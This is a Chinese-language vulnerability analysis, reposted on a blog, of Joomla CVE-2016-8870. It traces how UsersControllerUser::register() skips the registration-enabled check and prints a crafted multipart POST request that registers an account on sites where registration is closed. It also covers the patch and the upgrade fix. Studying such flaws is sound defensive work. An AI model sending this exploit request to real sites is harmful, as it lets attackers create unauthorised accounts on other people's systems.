IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    Joomla未授权创建用户漏洞(CVE-2016-8870) 分析

    kk发表于 2016-10-26 09:10:25
    love 0

    Author: p0wd3r (知道创宇404安全实验室) Date: 2016-10-26

    0x00 漏洞概述


    1.漏洞简介

    Joomla是一个自由开源的内容管理系统,近日研究者发现在其3.4.4到3.6.3的版本中存在两个漏洞:CVE-2016-8869,CVE-2016-8870。我们在这里仅分析CVE-2016-8870,利用该漏洞,攻击者可以在网站关闭注册的情况下注册用户。Joomla官方已对此漏洞发布升级公告。

    2.漏洞影响

    网站关闭注册的情况下仍可创建用户

    3.影响版本

    3.4.4 to 3.6.3

    0x01 漏洞复现


    1. 环境搭建

    wget https://github.com/joomla/joomla-cms/releases/download/3.6.3/Joomla_3.6.3-Stable-Full_Package.tar.gz

    解压后放到服务器目录下,例如/var/www/html

    创建个数据库:

    docker run --name joomla-mysql -e MYSQL_ROOT_PASSWORD=hellojoomla -e MYSQL_DATABASE=jm -d mysql

    最后访问服务器路径进行安装即可。

    2.漏洞分析

    在存在漏洞的版本中我们可以看到一个有趣的现象,即存在两个用于用户注册的方法:

    • 位于components/com_users/controllers/registration.php中的UsersControllerRegistration::register()
    • 位于components/com_users/controllers/user.php中的UsersControllerUser::register()

    我们对比一下代码:

    UsersControllerRegistration::register():

    public function register()
        {
            // Check for request forgeries.
            JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
    
            // If registration is disabled - Redirect to login page.
            if (JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0)
            {
                $this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false));
    
                return false;
            }
    
            $app   = JFactory::getApplication();
            $model = $this->getModel('Registration', 'UsersModel');
    
            // Get the user data.
            $requestData = $this->input->post->get('jform', array(), 'array');
    
            // Validate the posted data.
            $form = $model->getForm();
    
            ...
        }

    UsersControllerUser::register():

    public function register()
        {
            JSession::checkToken('post') or jexit(JText::_('JINVALID_TOKEN'));
    
            // Get the application
            $app = JFactory::getApplication();
    
            // Get the form data.
            $data = $this->input->post->get('user', array(), 'array');
    
            // Get the model and validate the data.
            $model  = $this->getModel('Registration', 'UsersModel');
    
            $form = $model->getForm();
    
            ...
        }

    可以看到相对于UsersControllerRegistration::register(),UsersControllerUser::register()的实现中并没有这几行代码:

    // If registration is disabled - Redirect to login page.
    if (JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0)
    {
        $this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false));
    
        return false;
    }

    这几行代码是检查是否允许注册,也就是说如果我们可以用UsersControllerUser::register()这个方法来进行注册就可以绕过这个检测。

    通过测试可知正常的注册使用的是UsersControllerRegistration::register(),请求包如下:

    POST /index.php/component/users/?task=registration.register HTTP/1.1
    ...
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryefGhagtDbsLTW5qI
    ...
    Cookie: yourcookie
    
    ------WebKitFormBoundaryefGhagtDbsLTW5qI
    Content-Disposition: form-data; name="jform[name]"
    
    tomcat
    ------WebKitFormBoundaryefGhagtDbsLTW5qI
    Content-Disposition: form-data; name="jform[username]"
    
    tomcat
    ------WebKitFormBoundaryefGhagtDbsLTW5qI
    Content-Disposition: form-data; name="jform[password1]"
    
    tomcat
    ------WebKitFormBoundaryefGhagtDbsLTW5qI
    Content-Disposition: form-data; name="jform[password2]"
    
    tomcat
    ------WebKitFormBoundaryefGhagtDbsLTW5qI
    Content-Disposition: form-data; name="jform[email1]"
    
    tomcat@my.local
    ------WebKitFormBoundaryefGhagtDbsLTW5qI
    Content-Disposition: form-data; name="jform[email2]"
    
    tomcat@my.local
    ------WebKitFormBoundaryefGhagtDbsLTW5qI
    Content-Disposition: form-data; name="option"
    
    com_users
    ------WebKitFormBoundaryefGhagtDbsLTW5qI
    Content-Disposition: form-data; name="task"
    
    registration.register
    ------WebKitFormBoundaryefGhagtDbsLTW5qI
    Content-Disposition: form-data; name="yourtoken"
    
    1
    ------WebKitFormBoundaryefGhagtDbsLTW5qI--

    虽然正常注册并没有使用UsersControllerUser::register(),但是并不代表我们不能使用。阅读代码可知,只要将请求包进行如下修改即可使用存在漏洞的函数进行注册:

    • registration.register -> user.register
    • jform[*] -> user[*]

    所以完整的复现流程如下:

    1. 首先在后台关闭注册功能,关闭后首页没有注册选项:
      no-register
    2. 然后通过访问index.php抓包获取cookie,通过看index.php源码获取token:
      get-cookie
      get-token
    3. 构造注册请求:
      POST /index.php/component/users/?task=registration.register HTTP/1.1
      ...
      Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryefGhagtDbsLTW5qI
      ...
      Cookie: yourcookie
      
      ------WebKitFormBoundaryefGhagtDbsLTW5qI
      Content-Disposition: form-data; name="user[name]"
      
      attacker
      ------WebKitFormBoundaryefGhagtDbsLTW5qI
      Content-Disposition: form-data; name="user[username]"
      
      attacker
      ------WebKitFormBoundaryefGhagtDbsLTW5qI
      Content-Disposition: form-data; name="user[password1]"
      
      attacker
      ------WebKitFormBoundaryefGhagtDbsLTW5qI
      Content-Disposition: form-data; name="user[password2]"
      
      attacker
      ------WebKitFormBoundaryefGhagtDbsLTW5qI
      Content-Disposition: form-data; name="user[email1]"
      
      attacker@my.local
      ------WebKitFormBoundaryefGhagtDbsLTW5qI
      Content-Disposition: form-data; name="user[email2]"
      
      attacker@my.local
      ------WebKitFormBoundaryefGhagtDbsLTW5qI
      Content-Disposition: form-data; name="option"
      
      com_users
      ------WebKitFormBoundaryefGhagtDbsLTW5qI
      Content-Disposition: form-data; name="task"
      
      user.register
      ------WebKitFormBoundaryefGhagtDbsLTW5qI
      Content-Disposition: form-data; name="yourtoken"
      
      1
      ------WebKitFormBoundaryefGhagtDbsLTW5qI--
    4. 发包,成功注册:
      attack

    3.补丁分析

    patch-1

    官方删除了UsersControllerUser::register()方法。

    0x02 修复方案


    升级到3.6.4

    0x03 参考


    https://www.seebug.org/vuldb/ssvid-92496

    https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html

    http://www.fox.ra.it/technical-articles/how-i-found-a-joomla-vulnerability.html

    https://www.youtube.com/watch?v=Q_2M2oJp5l4



沪ICP备19023445号-2号
友情链接